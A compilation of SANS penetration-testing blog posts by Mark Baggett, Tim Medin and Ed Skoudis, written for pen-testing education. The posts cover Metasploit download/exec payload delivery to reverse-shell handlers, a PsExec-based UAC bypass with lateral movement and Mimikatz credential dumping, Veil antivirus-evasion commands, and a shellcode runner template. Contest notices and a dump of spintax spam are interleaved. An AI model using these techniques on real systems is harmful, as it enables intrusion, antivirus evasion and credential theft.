Custom Payloads in Metasploit

[Editor’s Note: Mark Baggett shares some useful insights into delivering custom payloads using Metasploit, with a little Python magic to boot! –Ed.]

By Mark Baggett

You launch your Metasploit exploit.  It looks like it is working but no session is created. What happened?  Your exploit just got popped by antivirus software.  Such a bummer.  Antivirus software is a hurdle that you have to overcome as a penetration tester, modeling the techniques of the real-world bad guys.  The best way to avoid antivirus software is to stop using a payload that someone else created.  Time and time again, penetration testers find they have a basic need to use custom payloads.

Create your own custom payload, and then you won’t have to worry about an AV signature catching your payload and eating it!  It is easy and it gives you the flexibility to go after any target.  There are lots of tools and articles for helping you doing so, including the Veil framework.

So you build your own custom payload, now what? How do you operationalize your payload? How do you deliver it to a target and execute it?  There are lots of ways to deliver a custom payload, but I’ll cover one of the easiest and most flexible options here.

Metasploit’s Download/Exec Payload is a great option for delivering a custom payload to a target.  You can use it with most of Metasploit’s exploits including memory corruption exploits, misconfiguration exploits, and authenticated attacks like PSEXEC.  This flexibility means with this Metasploit payload, you can use your custom payload with the Meterpreter.

To use the Download/Exec payload, you will need to do three things.  First, you’ll need a website from which the victim can download your custom backdoor.  Second, you will need to setup a Metasploit handler to receive the connection from your custom backdoor.  Lastly, you’ll need an exploit to deliver your custom payload.  Let’s take a look at each of the steps.

1) A website to provide the “Download” in the Download/Exec payload

You have lots of options for a website to deliver you payloads.  Anytime I need a “quick and easy” website I use Python.  The first step to staring the Python web server is to change to the directory that contains the files you want to make available for download.  Then the command “python -m ‘SimpleHTTPServer’ <port number>” can be used to start a web server.  The files in that directory can then be downloaded using any web browser.  You can setup this server on any computer that has Python installed.  Here, I’ve started a web server listening on port 8000. When the exploit runs you’ll see the download being logged by your web server.  Here you can see the victim downloading a copy of “pythonbackdoor.exe”.

Blog 1.1

2) Start a handler to receive your shell

Starting the multi/handler requires a few simple commands.  First is “use multi/handler”.  Next, set your payload to one that is compatible with the custom payload you created.  If your payload contains meterpreter then you will “set payload windows/meterpreter/reverse_tcp”.  If it is a command prompt then you would type “set payload windows/shell/reverse_tcp”.  Since my Python backdoor sends a command prompt, the correct payload here is “windows/shell/reverse_tcp”.  This “single” payload doesn’t use a stager and expect a connection from a shell. Do not confuse this with the “windows/shell_reverse_tcp” since “windows/shell_reverse_tcp” is expecting a connection from a stager not a shell.  Setting LHOST to will cause Metasploit to listen on all the network addresses on your host.  This is a good shortcut from single payloads but it is not a good idea to use this for staged payloads.  Some stagers, for example /*/reverse_http, will require that you have an actual routed address so that the stager knows where to download the next stage.  Finally, set your LPORT to the port your custom payload is hardcoded to connect to.  In this example, my payload is set to send a command prompt to port 80.  Finally, you’ll need to start the multi-handler but our work in Metasploit is still not finished. You’ll also need to start your multi-handler as a background task. To do this, the “-j” options to the exploit command will start the multi-handler as a “job” that runs in the background.

Blog 2.1.1


3) Exploit the target and deliver the payload

With your handler in the background waiting to receive a connection, you’re ready to exploit the target.  Just about any exploit could be used, but remembering my Penetration Tester’s Pledge , I’ll use PSEXEC.  First, I use “windows/smb/psexec” and set it up with the correct username and password for the target.  Then I set my payload by typing “set PAYLOAD download/exec”.  The options are pretty simple. You set the URL to point to the custom payload on the web server that you setup in step 1.  You can change the name of the file that will be saved to the target if you like.

Blog 3.1.1

When you type “exploit” you will see it download from your website and a shell will appear in your handler.  Game On.  Let the pivots begin.

So now the question is do you have a custom payload to deliver to a target? If not, there are several options.  Veil is a great option.  It will create a customized version of meterpreter and it does an excellent job of avoiding antivirus software.  Or, you can write your own.

Want to be a certified Python Coder? Learn more:

-Mark Baggett


Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Winners of the SANS Spectacular Pen Test Video Contest

Ladies and gentlemen, boys and girls, friends, Romans, and countryman,

I’m delighted to announce the winners to our  SANS Spectacular Pen Test Video Contest.  Back in January and February, we asked folks to channel their creativity to share some great tips, insights, techniques, and inspiration with other penetration testers.  You can read the contest description here.

We got some FANTASTIC entries, and we’d like to thank all who participated.  Entries included numerous great technical tips, interesting “acting”, noble attempts at humor, and even one Rick Roll, naturally.

So, without further ado (thanks, Ted, for your gracious input), let’s announce the winners (click on each picture to see the video).  We’ll announce the victors in our four categories first, and then select from among them for the GRAND prize winner.

First up, our  highest production values (with a useful tip)  award goes to Chris Andre Dale for his epic video  Local File Inclusion.  In addition to some great start-up graphics and sound effects, Chris explains the issue of local file inclusion in clear, understandable terms, performing a great demo.

Our  most useful tip award  goes to Jeremy Galloway (also known as xgermx)!  His video on  Scanning Your Network for Reflective Amplification DDoS  issues describes the vulnerabilities, the use of the Nmap Scripting Engine to find some flaws, and the use of Metasploit to find others.  And, his inclusion of ultra funky slow jam music during his attacks was an awesome touch, along with some great zoom-in action to see his command lines.

Our  most entertaining (with a useful tip)  award goes to Kirk Hayes, for his magnum opus,  Don’t Fret… Introducing Veil.  The creepy voice-over, the head pounding on the desk, the big FAIL arrows, and more all work together to make it a thoroughly entertaining vid.

Random draw goes to Mario R. De Tore, who provided this gem:  Ahhh… that one never gets old.

Each of our four winners above will get an autographed copy of the book Counter Hack Reloaded.

But, one and only one video will be awarded the coveted GRAND prize, a free four-month journey through NetWars Continuous.  During this four month span, the winner will be able to build skills, solve fun and exciting challenges, and earn valuable CMUs/CPEs.  The GRAND PRIZE WINNER is…. drum roll please…

Jeremy Galloway (that’s XGERMX)!  While all the winning videos were great, this video covered a lot of really useful skills in a short-duration format.  It included some great Nmap and Metasploit kung fu, as well as useful zoom-ins to see the action.

Thank you all for participating!  We’ll be reaching out to the winners shortly.

–Ed Skoudis.
Author,  SANS Security 560, Network Pen Testing & Ethical Hacking
SANS Instructor, Fellow, and Pen Test Curriculum Lead

Pen-Test-A-Go-Go: Integrating Mobile and Network Attacks for In-Depth Pwnage

Josh Wright and I presented a webcast a few months back that is chock full of useful pen testing techniques from the mobile and network arenas. Based on the new SANS course, SEC561: Intense Hands-on Skill Development for Pen Testers, this webcast covers numerous useful techniques, such as:

  • Exploiting and automating data harvesting from iOS devices
  • Extracting stored secrets from iTunes backups
  • Effective Anti Virus evasion with Veil
  • Windows host compromise and privilege escalation, along with UAC bypass

The slides below cover all the tools and techniques for doing all that great stuff, and more.

The SANS SEC 561 course is 80% hands-on skill development, showing how security personnel such as penetration testers, vulnerability assessment personnel, and auditors can leverage in-depth techniques to get powerful results in every one of their projects. This innovative course uses the SANS NetWars system to help hammer home lessons in a fun and interactive way to foster in-depth knowledge and capability development.

Take a look at the webcast slides by clicking on the title slide below.  Or, if you’d like to hear the sonorous voice of Mr. Josh Wright himself (along with me), click here for the full webcast:

Have fun!

–Ed Skoudis

p.s.: If you want to build your skills to get ready for SEC561, you should definitely check out my SANS SEC560 course on Network Pen Testing.  I’m really looking forward to teaching 560 in March in Baltimore, April in Orlando, and May/June online via vLive.  For the follow-on course, SEC561, SANS will offer it next in Orlando in April.  You should check ’em both out.

What I Got for Christmas: Polymorphic Blog Spam Comment Vomited on My Site

by Ed Skoudis

Hope you had a great holiday!  I got an unexpected nice gift for the holidays on one of my blogs.  Below, you’ll see a comment that was submitted to the SANS Pen Test Blog, which I run.  As you can see, it is one of those lame pseudo-comments sent in as link-bait for Search Engines and other nefarious purposes.  I get a few of this kind of thing a week, and our anti-blog-spam filter catches most of them.

What makes this one special is that the automated tool that barfed it into my blog didn’t choose from each grouping of different options; instead, it shot up ALL options for every variation of this blog spam.  You can see, by selecting at random from each grouping, untold thousands of combinations are possible.  But, with this errant blog spam shot, I’ve got all potential combinations here.  It’s almost silly how many different combinations there are, and how each one tries to be super polite.  You gotta read through them for a little chuckle.

It’s a gift for the guy who has everything, I suppose.  Why, it is even {terrific|wonderful|lame|ridiculous}.  Merry Christmas indeed!

–Ed Skoudis.


{I have|I've} been {surfing|browsing} online more than
{three|3|2|4} hours today, yet I never found any interesting article like yours.
{It's|It is} pretty worth enough for me. {In my opinion|Personally|In my view}, if all {webmasters|site owners|website owners|web owners} and bloggers
made good content as you did, the {internet|net|web} will be {much
more|a lot more} useful than ever before.|
I {couldn't|could not} {resist|refrain from} commenting. {Very well|Perfectly|Well|Exceptionally well} written!|
{I will|I'll} {right away|immediately} {take hold of|grab|clutch|grasp|seize|snatch} your {rss|rss
feed} as I {can not|can't} {in finding|find|to find} your {email|e-mail} subscription {link|hyperlink} or {newsletter|e-newsletter} service.
Do {you have|you've} any? {Please|Kindly} {allow|permit|let} me {realize|recognize|understand|recognise|know} {so that|in order that} I {may just|may|could} subscribe.
{It is|It's} {appropriate|perfect|the best} time to make some plans for
the future and {it is|it's} time to be happy.
{I have|I've} read this post and if I could I {want to|wish to|desire to}
suggest you {few|some} interesting things or {advice|suggestions|tips}.
{Perhaps|Maybe} you {could|can} write next articles referring to this article.
I {want to|wish to|desire to} read {more|even more} things about it!|
{It is|It's} {appropriate|perfect|the best} time to make {a few|some} plans for {the future|the longer term|the long run} and
{it is|it's} time to be happy. {I have|I've} {read|learn}
this {post|submit|publish|put up} and if I {may just|may|could} I {want to|wish to|desire to} {suggest|recommend|counsel} you {few|some} {interesting|fascinating|attention-grabbing}
{things|issues} or {advice|suggestions|tips}.
{Perhaps|Maybe} you {could|can} write {next|subsequent} articles {relating to|referring to|regarding} this
article. I {want to|wish to|desire to} {read|learn} {more|even more} {things|issues} {approximately|about} it!|
{I have|I've} been {surfing|browsing} {online|on-line} {more than|greater than} {three|3}
hours {these days|nowadays|today|lately|as of
late}, {yet|but} I {never|by no means} {found|discovered} any {interesting|fascinating|attention-grabbing} article like yours.

{It's|It is} {lovely|pretty|beautiful} {worth|value|price} {enough|sufficient}
for me. {In my opinion|Personally|In my view}, if all {webmasters|site owners|website owners|web owners} and bloggers made
{just right|good|excellent} {content|content material} as {you did|you
probably did}, the {internet|net|web} {will be|shall be|might
be|will probably be|can be|will likely be} {much
more|a lot more} {useful|helpful} than ever before.|
Ahaa, its {nice|pleasant|good|fastidious} {discussion|conversation|dialogue} {regarding|concerning|about|on the topic of} this {article|post|piece of writing|paragraph} {here|at this place}
at this {blog|weblog|webpage|website|web site},
I have read all that, so {now|at this time} me
also commenting {here|at this place}.|
I am sure this {article|post|piece of writing|paragraph} has touched all
the internet {users|people|viewers|visitors}, its really really {nice|pleasant|good|fastidious}
{article|post|piece of writing|paragraph} on building up new {blog|weblog|webpage|website|web site}.|
Wow, this {article|post|piece of writing|paragraph} is {nice|pleasant|good|fastidious}, my {sister|younger sister} is analyzing {such|these|these kinds of} things, {so|thus|therefore}
I am going to {tell|inform|let know|convey} her.|
{Saved as a favorite|bookmarked!!}, {I really like|I like|I love} {your
blog|your site|your web site|your website}!|
Way cool! Some {very|extremely} valid points!

I appreciate you {writing this|penning this} {article|post|write-up} {and the|and also the|plus the} rest
of the {site is|website is} {also very|extremely|very|also really|really}
Hi, {I do believe|I do think} {this is an excellent|this is a great} {blog|website|web site|site}.
I stumbledupon it ;) {I will|I am going to|I'm going to|I may} {come back|return|revisit}
{once again|yet again} {since I|since i have} {bookmarked|book marked|book-marked|saved
as a favorite} it. Money and freedom {is the best|is the greatest} way to change, may you be rich and continue to {help|guide} {other
Woah! I'm really {loving|enjoying|digging} the
template/theme of this {site|website|blog}. It's simple,
yet effective. A lot of times it's {very hard|very difficult|challenging|tough|difficult|hard} to
get that "perfect balance" between {superb usability|user friendliness|usability} and {visual appearance|visual
appeal|appearance}. I must say {that you've|you have|you've} done a {awesome|amazing|very good|superb|fantastic|excellent|great} job with this.

{In addition|Additionally|Also}, the blog loads {very|extremely|super} {fast|quick}
for me on {Safari|Internet explorer|Chrome|Opera|Firefox}.
{Superb|Exceptional|Outstanding|Excellent} Blog!|
These are {really|actually|in fact|truly|genuinely}
{great|enormous|impressive|wonderful|fantastic} ideas
in {regarding|concerning|about|on the topic of} blogging. You have touched some {nice|pleasant|good|fastidious} {points|factors|things} here.
Any way keep up wrinting.|
{I love|I really like|I enjoy|I like|Everyone loves} what you
guys {are|are usually|tend to be} up too. {This sort of|This type of|Such|This kind of} clever work and {exposure|coverage|reporting}!

Keep up the {superb|terrific|very good|great|good|awesome|fantastic|excellent|amazing|wonderful} works guys I've {incorporated||added|included} you guys to {|my|our||my personal|my own} blogroll.|
{Howdy|Hi there|Hey there|Hi|Hello|Hey}!
Someone in my {Myspace|Facebook} group shared this {site|website} with us so I came to {give it a look|look it over|take a look|check it out}.
I'm definitely {enjoying|loving} the information.
I'm {book-marking|bookmarking} and will be tweeting this to my followers!
{Terrific|Wonderful|Great|Fantastic|Outstanding|Exceptional|Superb|Excellent} blog and {wonderful|terrific|brilliant|amazing|great|excellent|fantastic|outstanding|superb} {style and design|design and
{I love|I really like|I enjoy|I like|Everyone loves} what you guys {are|are usually|tend to be} up too.
{This sort of|This type of|Such|This kind of} clever work and {exposure|coverage|reporting}!
Keep up the {superb|terrific|very good|great|good|awesome|fantastic|excellent|amazing|wonderful} works
guys I've {incorporated|added|included} you guys to {|my|our|my personal|my own} blogroll.|
{Howdy|Hi there|Hey there|Hi|Hello|Hey} would you mind {stating|sharing} which blog platform you're {working with|using}?
I'm {looking|planning|going} to start my own blog {in the near future|soon} but I'm having a {tough|difficult|hard} time {making a decision|selecting|choosing|deciding}
between BlogEngine/Wordpress/B2evolution and Drupal. The reason I ask is because your {design and style|design|layout} seems different then most blogs and I'm looking for something {completely unique|unique}.
P.S {My apologies|Apologies|Sorry} for {getting|being}
off-topic but I had to ask!|
{Howdy|Hi there|Hi|Hey there|Hello|Hey} would you mind letting me know which {webhost|hosting company|web host} you're {utilizing|working with|using}?

I've loaded your blog in 3 {completely different|different} {internet browsers|web browsers|browsers}
and I must say this blog loads a lot {quicker|faster}
then most. Can you {suggest|recommend} a good {internet hosting|web hosting|hosting} provider at a {honest|reasonable|fair} price?
{Thanks a lot|Kudos|Cheers|Thank you|Many thanks|Thanks}, I appreciate it!|
{I love|I really like|I like|Everyone loves} it {when people|when individuals|when folks|whenever people} {come together|get together} and share {opinions|thoughts|views|ideas}.
Great {blog|website|site}, {keep it up|continue the
good work|stick with it}!|
Thank you for the {auspicious|good} writeup. It in
fact was a amusement account it. Look advanced to
{far|more} added agreeable from you! {By the way|However}, how {can|could} we communicate?|
{Howdy|Hi there|Hey there|Hello|Hey} just wanted to give you a quick heads up.

The {text|words} in your {content|post|article}
seem to be running off the screen in {Ie|Internet explorer|Chrome|Firefox|Safari|Opera}.
I'm not sure if this is a {format|formatting} issue
or something to do with {web browser|internet browser|browser} compatibility but I {thought|figured}
I'd post to let you know. The {style and design|design and style|layout|design} look great though!
Hope you get the {problem|issue} {solved|resolved|fixed} soon.
{Kudos|Cheers|Many thanks|Thanks}|
This is a topic {that is|that's|which is} {close to|near to} my
heart... {Cheers|Many thanks|Best wishes|Take care|Thank you}!
{Where|Exactly where} are your contact details though?|
It's very {easy|simple|trouble-free|straightforward|effortless} to find out
any {topic|matter} on {net|web} as compared to {books|textbooks}, as I found this {article|post|piece of
writing|paragraph} at this {website|web site|site|web page}.|
Does your {site|website|blog} have a contact page? I'm having {a tough time|problems|trouble} locating
it but, I'd like to {send|shoot} you an {e-mail|email}.
I've got some {creative ideas|recommendations|suggestions|ideas} for your blog you might
be interested in hearing. Either way, great {site|website|blog} and I look forward
to seeing it {develop|improve|expand|grow} over time.|
{Hola|Hey there|Hi|Hello|Greetings}! I've been {following|reading} your {site|web site|website|weblog|blog} for {a long time|a while|some time} now and finally got the {bravery|courage} to go ahead and give you a shout
out from {New Caney|Kingwood|Huffman|Porter|Houston|Dallas|Austin|Lubbock|Humble|Atascocita} {Tx|Texas}!
Just wanted to {tell you|mention|say} keep up the {fantastic|excellent|great|good} {job|work}!|
Greetings from {Idaho|Carolina|Ohio|Colorado|Florida|Los angeles|California}!
I'm {bored to tears|bored to death|bored} at work so I decided to
{check out|browse} your {site|website|blog} on my iphone during lunch break.

I {enjoy|really like|love} the {knowledge|info|information} you {present|provide} here and can't wait to take a look when I
get home. I'm {shocked|amazed|surprised} at how {quick|fast} your blog loaded on my {mobile|cell phone|phone} ..
I'm not even using WIFI, just 3G .. {Anyhow|Anyways},
{awesome|amazing|very good|superb|good|wonderful|fantastic|excellent|great}
Its {like you|such as you} {read|learn} my {mind|thoughts}!
You {seem|appear} {to understand|to know|to grasp} {so much|a lot} {approximately|about}
this, {like you|such as you} wrote the {book|e-book|guide|ebook|e book} in it or something.
{I think|I feel|I believe} {that you|that you simply|that
you just} {could|can} do with {some|a few} {%|p.c.|percent} to {force|pressure|drive|power} the
message {house|home} {a bit|a little bit}, {however|but} {other than|instead of} that, {this is|that is} {great|wonderful|fantastic|magnificent|excellent} blog.
{A great|An excellent|A fantastic} read. {I'll|I will} {definitely|certainly} be back.|
I visited {multiple|many|several|various} {websites|sites|web
sites|web pages|blogs} {but|except|however} the audio {quality|feature} for audio songs {current|present|existing} at this {website|web site|site|web page} is {really|actually|in fact|truly|genuinely} {marvelous|wonderful|excellent|fabulous|superb}.|
{Howdy|Hi there|Hi|Hello}, i read your blog {occasionally|from time to time} and i own a similar one and i was just {wondering|curious} if you
get a lot of spam {comments|responses|feedback|remarks}?

If so how do you {prevent|reduce|stop|protect against} it, any plugin or anything you can {advise|suggest|recommend}?
I get so much lately it's driving me {mad|insane|crazy} so any {assistance|help|support} is very much appreciated.|
Greetings! {Very helpful|Very useful} advice {within this|in this particular} {article|post}!

PsExec UAC Bypass

[Editor’s Note: In this article, Tim Medin describes a common pen test scenario in which a tester gets limited access of a target Windows machine, and needs to escalate privileges without incurring the wrath of User Account Control (UAC).  Tim describes his approach, which involves the use of psexec to bounce off of another machine to evade UAC and then pivot mercilessly in the target environment.  Nice stuff! –Ed. ]

by Tim Medin

During a recent penetration test, we were trying to figure out how to bypass UAC on a fully patched Windows environment, given that we’d had a limited compromise of one system via phishing.  I’d like to share the technique we came up with so you can apply it in your own work.

The Scenario

In our test, we were using phishing attacks trying to trick a user to click on an AV-dodging attachment that would invoke a Metasploit payload and connect back to my system.  In Metasploit, I started the reverse handler:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 53 msf exploit(handler) > set lhost my_ip_address
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

I’ve set up the listener so that it will _not_ kill the listener after the first connection (ExitOnSession is false). This means the listener can be used over and over again without having to restart the listener between connections. When the ExitOnSession variable is set, the exploit command must be used with -j (start as job) and -z (do not interact with the session immediately — that is, background the session automagically).

A little while later, someone clicked something they weren’t supposed to. We’ll call that user “MrClickHappy,” and he graciously clicked the malicious attachment we sent.  There was a phish on the line, but there was a small problem: our resulting Meterpreter session was running without an elevated token.  Thus, getsystem, hashdump, and other similar commands failed with the frustrating “Access Denied” message. Our compromised target box was fully patched, so there were no kernel exploits or other known problems that would allow privilege escalation. Of course, the regular user account could be useful, but system level access is much more fun and opens a lot of additional avenues.  To achieve that kind of access, we needed a way to bypass UAC to get higher level permissions on the box.

The Attack

The fantastic PsExec tool by Mark Russinovich from Microsoft SysInternals (not the Metasploit module) offers a -h option, which runs the specified executable on the remote system using the account’s elevated token (if possible). This means we can upload PsExec and run it against another system using the higher privileges associated with the account. Sadly, we can’t successfully use PsExec against the box from which it is running (e.g., no  But still, by bouncing through another machine in the target environment, we can get the higher privileges we crave, and then bounce elsewhere and possibly even back to where we started from.

First, we need to upload the PsExec.exe executable to a machine I’ll call Box0, the initial point of compromise, which will be used as a staging point. We also need to upload a safe copy of the meterpreter payload to Box0. We’ll use these files to find a system against which we can authenticate as a privileged account.  Here are the commands I ran in my phish-derived Meterpreter session on Box0.

meterpreter > upload /my/local/path/to/metr.exe \\users\\MrClickHappy\\metr.exe meterpreter > upload /my/local/path/to/PsExec.exe \\users\\MrClickHappy\\PsExec.exe meterpreter > upload /my/local/path/to/targets.txt \\users\\MrClickHappy\\targets.txt
meterpreter > shell
Process 3052 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\MrClickHappy> PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe

This command will use the exiting user’s credentials to copy the Meterpreter payload to the remote system (-c), overwrite the file if it already exists (-f), run it with elevated permissions (-h), not wait for the process to terminate (-d), and disable the EULA prompt (-accepteula). A list of targets has been provided (@) so the command will keep running and eventually find a winner.

The Meterpreter PsExec module can’t be used, as we don’t have the password or hashes. Fortunately, Windows will automatically pass through our existing user’s credentials to remote systems via PsExec.exe and will allow us to get Meterpreter shell on another system provided the user has admin privileges somewhere on a machine listed inside targets.txt. Even better, the new shell will be an elevated shell (assuming the user has the privileges) and we don’t have to deal with UAC on our new target.

Suppose Box1 is a target on which our click happy user has admin privileges.  After running the previous command on Box0 which psexec’s stuff on Box1, a new Meterpreter sessions will start using our existing listener.

[*] Sending stage (751104 bytes) to Box1_ip
[*] Meterpreter session 1 opened (my_ip:5555 -> Box1_ip:49160) at 2013-03-30 15:30:03 -0500
msf> sessions -i 1
meterpreter > getsystem system (via technique 1).

At this point, there is a limited shell on the initial target (Box0) and a privileged shell on another target (Box1), both using the same user’s credentials. The Meterpreter shell on the new system does not get cranky when we try to use the commands that require system level access, such as hashdump.  Still, there is a small issue.

If we want to go back to the original system with privileged access, we have a bit of an issue. We can’t use the shell on Box1 with pass-thru authentication because of the “double-hop” issue associated with impersonation. Here is a description of the issue using the text from this Microsoft article, with the names changed, to represent this scenario: The double-hop issue is when the one system tries to use resources that are located on a system that is different from the original target. In our case, the first “hop” is from Box0 to the Box1; the second hop is to from Box1 to anything else (including back to Box0). Remote authentication for SMB requires a primary token. Therefore, the Box1 system must know the password for the client to pass a primary token to somewhere else (such as back to Box0). Since Box1 only has a secondary token, the NTAUTHORITY\ANONYMOUS account credentials are used and a second session cannot be established.

We do have a privileged session with our new user, and that may be our end goal. However, if we really need elevated privileges on the original system, we need to find another system where our targeted user is running with a “primary token”. To find this logged-in user, we can use another tool in the PsTool suite, PsLoggedon.exe.

PsLoggedon does not take a list of nodes, so we must wrap it in a Windows cmd.exe FOR loop to target multiple systems. The command below will run through a list of targets and then list the hosts where our targeted user (MrClickHappy) is currently logged in. It will also nicely pass-thru the credentials of an initial compromised user.

C:\> for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "MrClickHappy" >NUL && echo %i 

Now, Box13 can be targeted with PsExec and a Meterpreter payload. Once the shell is established, the clear text credentials can be dumped with the wonderful Metasploit Mimikatz module. This box will also have a good “primary token” so PsExec can be used to get an elevated shell back on the original system, Box0.

Of course, if you have credentials, you can play the double hop without issue. All you need is a host to bounce off of.

C:\> PsExec.exe -u MrClickHappy -p Password1 -h -c -v @targets.txt PsExec.exe \\Box0 -d -s -u MrClickHappy -p Password1 \Users\MrClickHappy\metr.exe

This command will use PsExec to target a list of systems. When it finds a system against which it can successfully authenticate, it will copy over the PsExec.exe executable and use it to run Meterpreter back on the original system. This will then provide a lovely system level (-s) shell back on Box0.

With a nice springboard machine, such as Box1, UAC is a lovely little speed bump.

Tim Medin
Counter Hack

Anti-Virus Evasion: A Peek Under the Veil

[Editor’s Note: In this article, Mark Baggett summarizes some of the Anti-Virus evasion tactics of the past year or two, and then cranks it up a notch, by digging into the details of some recent AV-dodging techniques useful to penetration testers.  To be effective penetration testers, we need to model the techniques used by the real-world bad guys, and anti-virus evasion is high on the bad guys’ list of things to do to remain undetected in target organizations.  Mark builds up to showing how to use Veil for AV evasion, step-by-step, and also discusses how to leverage Veil all in a single command.  Nice work, Mark! –Ed.]

By Mark Baggett

Back in October 2011 on the SANS penetration testing blog, I shared a little technique I had been sitting on for a while for bypassing antivirus software.  Check it out here:  The technique is to embed a payload, that would otherwise be detected by antivirus software into a Python script, in its ASCII form and then execute the code directly from memory.  The technique is very effective and still works very well today.

For many years, I kept this as a closely guarded secret because as soon as you share AV evasion techniques, they tend to lose their value.  The AV companies respond by tweaking their products to single-out your latest plot, and I wanted to continue to use the technique in my own penetration tests.  With the flamer virus and other malware samples distributing interpreters, it appeared the gig was up and AV vendors were going to be all over the technique.  I guess I underestimated the difficulty of distinguishing ASCII encoding shellcode from non-malicious software, because today it continues to remain a useful technique.

Then in August 2012, Dave Kennedy released PyInjector.  PyInjector creates a Python executable with an embedded ASCII payload in it, but it uses standard Windows API calls to put the payload in memory and execute it.  This is a much different approach from the technique I used. Since it is calling the Windows API to place the shell in memory, it works on 64-bit systems.  The technique I shared does not work on 64-bit systems without some additional manipulation of data and function calls.  The downside to PyInjector using the standard API calls, though, is that a HIPS system that is watching for those calls may detect the injection.

Fast forward to May 2013 when Chris Truncer released Veil.  Veil is a Python program that attempts to automate the creation of AV-evading payloads in a new framework.  Information and tutorials on the framework are available at and the framework itself can be downloaded from Chris’ github at  An archive of the project is downloadable here:

The framework can be installed by running the following four commands in a Kali Linux virtual machine:

# wget
# unzip
# cd Veil-master/setup

(Note:  You need to be in that directory to run the setup, hence my cd command.  The setup script uses relative paths to call into the ../config directory).  Now, get things started by running:

# ./

Then change to the “Veil-Master” directory and launch the ./Veil  python script.  The Veil window will appear.  You see that today it has 16 payloads:

You can obtain a list of all the payloads with the “list” command:

The payloads include PyInjector-style payload injection with or without encryption and PowerShell injection of payloads.  Both of these methods are very effective for AV evasion.  I am a Python snob, so I want to use the python/AESVirtualAlloc payload.  This method will use the PyInjector style of injection with AES encryption of the payload.  I type “use python/AESVirtualAlloc” and press Enter.  It loads that component, as shown below:

Next, I issue the “generate” command and press enter to create the executable.  Veil needs to know what payload I want to use, so it will ask you a series of questions.

Veil is very user friendly and chooses some good defaults for you.  After answering a few questions about our payload, Veil then asks some question about the executable you want to create.  First, you provide Veil with a name for your executable, and then you tell it if you want to use PyInstaller or py2exe to create an executable.

After choosing PyInstaller, Veil does the rest of the work for you.  It produces the following output screen that tells you about the executable you have created.   The screen even includes some EXCELLENT advice and suggests that you DO NOT submit your sample to online virus scanning engines such as that will, in turn, share your payload with antivirus companies, getting your new payload detected by anti-virus companies likely within days or less.

To avoid distribution to anti-virus vendors, you can use  That site will scan uploaded files for malware detection, and offers you a check box that says “Do not distribute the sample”.  The results are WONDERFUL!  0/14 scanners detect the payload.

The Python programmers reading this will certainly appreciate the source code that is produced.  Look at this beautiful hot mess of a program!  All the variable names are randomized.  The payloads are encrypted and encoded.  It is awesome!

But, wait: it gets even better!  All of the functionality within the Veil framework is accessible directly from the command line, so you don’t have to use the console to generate these payloads.  I can generate the same payload by running the following single command:

# ./ -l python -p AESVirtualAlloc -o trytofindthis --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST= LPORT=443

With this command-line-style interface, you can bypass the menu system of Veil, and script up all kinds of powerful goodness.

Kudos to Chris and the other developers working on Veil for creating an excellent tool.   Chris recently gave a technical segment to my good friends over at Pauldotcom.  Check that out here:

Do you wish you knew a bit more about how to leverage the power of Python code in your penetration tests?  Check out SANS new Python for Penetration testers course.

The course will be running in Vegas this September.   Sign up today!

–Mark Baggett

Follow me on Twitter @MarkBaggett


Tips for Evading Anti-Virus During Pen Testing

By Mark Baggett, the SANS Institute

You know the old saying… “Give a man a backdoor undetected by antivirus and he pwns for a day.  Teach a man to make backdoors undetected by antivirus and you will get free drinks for life at DEF CON.”

During the exploitation phase of a pen test or ethical hacking engagement, you will ultimately need to try to cause code to run on target system computers.  Whether accomplished by phishing emails, delivering a payload through an exploit, or social engineering, running code on target computers is part of most penetration tests.  That means that you will need to be able to bypass antivirus software or other host-based protection for successful exploitation.  The most effective way to avoid antivirus detection on your target’s computers is to create your own customized backdoor.  Here are some tips for creating your own backdoors for use in penetration testing:

TIP #1:  Do your reconnaissance.   Know what antivirus software target system personnel are running.   While it is certainly possible to make a backdoor that evades all antivirus software products, there is no need to waste those cycles if your target is only running one product, a significant likelihood.  Narrow down your options by getting this information from target system personnel by asking, looking for information leakage such as e-mails footers that proclaim the AV product, or even a friendly social engineering phone call if such interaction is allowed in your rules of engagement.

TIP #2:  If you want to use your backdoor for more than one project, do not submit it to or any of the other online sandboxes/scanner that work with antivirus software companies to generate new signatures.  Instead, buy a copy of the antivirus product used by your target organization and test it on your own systems.  Alternatively if your target is using one of the nine AV products scanned by VirusNoThanks, you could use and be sure to select “Do no distribute the sample” at the bottom of the page.

TIP #3:  KISS – Keep it simple, shell-boy.  I’m a minimalist when it comes to remote access.  I just need enough to get in, disable antivirus (if the rules of engagement will allow it), and then move in with more full-featured tools.  This approach requires less coding on my part and there is less of a chance that I will incorporate something that antivirus doesn’t like.

TIP #4:  You don’t have to COMPLETELY reinvent this wheel.  Metasploit has templates in the data/templates/src directory for DLLs, EXEs, and Windows Services.   Start with them and modify them only as required to avoid your target’s defenses.   For example:

$ cat data/templates/src/pe/exe/template.c
#include &lt;stdio.h&gt;
#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";

int main(int argc, char **argv) {
        (*(void (*)()) payload)();

You can set the payload[SCSIZE] array to any shell code that meets your needs and compile it.  There are plenty of options out there for shell code.  You can get several examples of shell code from exploit-db ( and many of them do not trigger antivirus software.  Or, you can also use msfpayload or msfvenom from Metasploit to generate C shell code and plug that into the template.  For example:

$ ./msfpayload windows/shell_bind_tcp C

